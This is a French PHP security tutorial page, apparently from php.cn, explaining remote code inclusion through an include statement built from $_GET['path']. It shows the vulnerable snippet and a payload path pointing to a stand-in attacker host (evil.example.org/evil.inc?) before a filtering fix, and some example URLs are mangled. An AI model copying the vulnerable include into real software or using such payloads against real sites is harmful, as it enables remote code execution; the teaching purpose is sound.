Injection de code de sécurité PHP

黄舟
Libérer: 2023-03-05 21:22:01
original
2534 Les gens l'ont consulté



Injection de code

Une situation particulièrement dangereuse se produit lorsque vous essayez d'utiliser des données corrompues comme élément principal d'une dynamique d'inclusion :

 <?php
 
  include "{$_GET[&#39;path&#39;]}/header.inc";
 
  ?>
Copier après la connexion


Dans ce scénario, un attaquant peut manipuler non seulement le nom du fichier, mais également les ressources qu'il contient. Puisque PHP peut non seulement inclure des fichiers par défaut, il peut également inclure les ressources suivantes (contrôlées par allow_url_fopen dans le fichier de configuration) :

 <?php
 
  include &#39;http://www.google.com/&#39;;
 
  ?>
Copier après la connexion


L'instruction include inclura le code source de la page Web http://www.php.cn/ en tant que fichier local à ce moment-là. Bien que l'exemple ci-dessus soit inoffensif, imaginez ce qui se passerait si le code source renvoyé par GOOGLE contenait du code PHP. De cette façon, le code PHP qu’il contient sera analysé et exécuté. C'est l'occasion pour les attaquants de diffuser du code malveillant pour vaincre votre système de sécurité.

Imaginez que la valeur du chemin pointe vers la ressource suivante contrôlée par l'attaquant :

http://www.php.cn/ ... e.org/evil.inc?

Dans l'exemple ci-dessus, la valeur du chemin est codée en URL et la valeur d'origine est la suivante :

http://www.php.cn/

Cela amène l'instruction include à inclure et à exécuter le script sélectionné par l'attaquant (evil.inc), et le nom du fichier d'origine/header.inc sera considéré comme une chaîne de requête :

  <?php
 
  include 
"http://evil.example.org/evil.inc?/header.inc";
 
  ?>
Copier après la connexion


Cela évite à l'attaquant d'avoir à deviner le répertoire et le nom de fichier restants (/header.onc) et à créer le même chemin et le même nom de fichier sur evil.example.org. Au contraire, lorsque le nom de fichier spécifique du site Web attaqué est bloqué, il lui suffit de s'assurer que evil.inc génère le code légal qu'il souhaite exécuter.

Cette situation est tout aussi dangereuse que de permettre à un attaquant de modifier le code PHP directement sur votre site web. Heureusement, cela peut être évité en filtrant les données avant les instructions include et require :

<?php
 
  $clean = array();
 
  /* $_GET[&#39;path&#39;] is filtered and stored in 
$clean[&#39;path&#39;]. */
 
  include "{$clean[&#39;path&#39;]}/header.inc";
 
  ?>
Copier après la connexion

Ce qui précède est le contenu de l'injection de code de sécurité PHP. Pour plus de contenu connexe, veuillez faire attention au PHP. Site chinois (www.php .cn) !

Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal
À propos de nous Clause de non-responsabilité Sitemap
Site Web PHP chinois:Formation PHP en ligne sur le bien-être public,Aidez les apprenants PHP à grandir rapidement!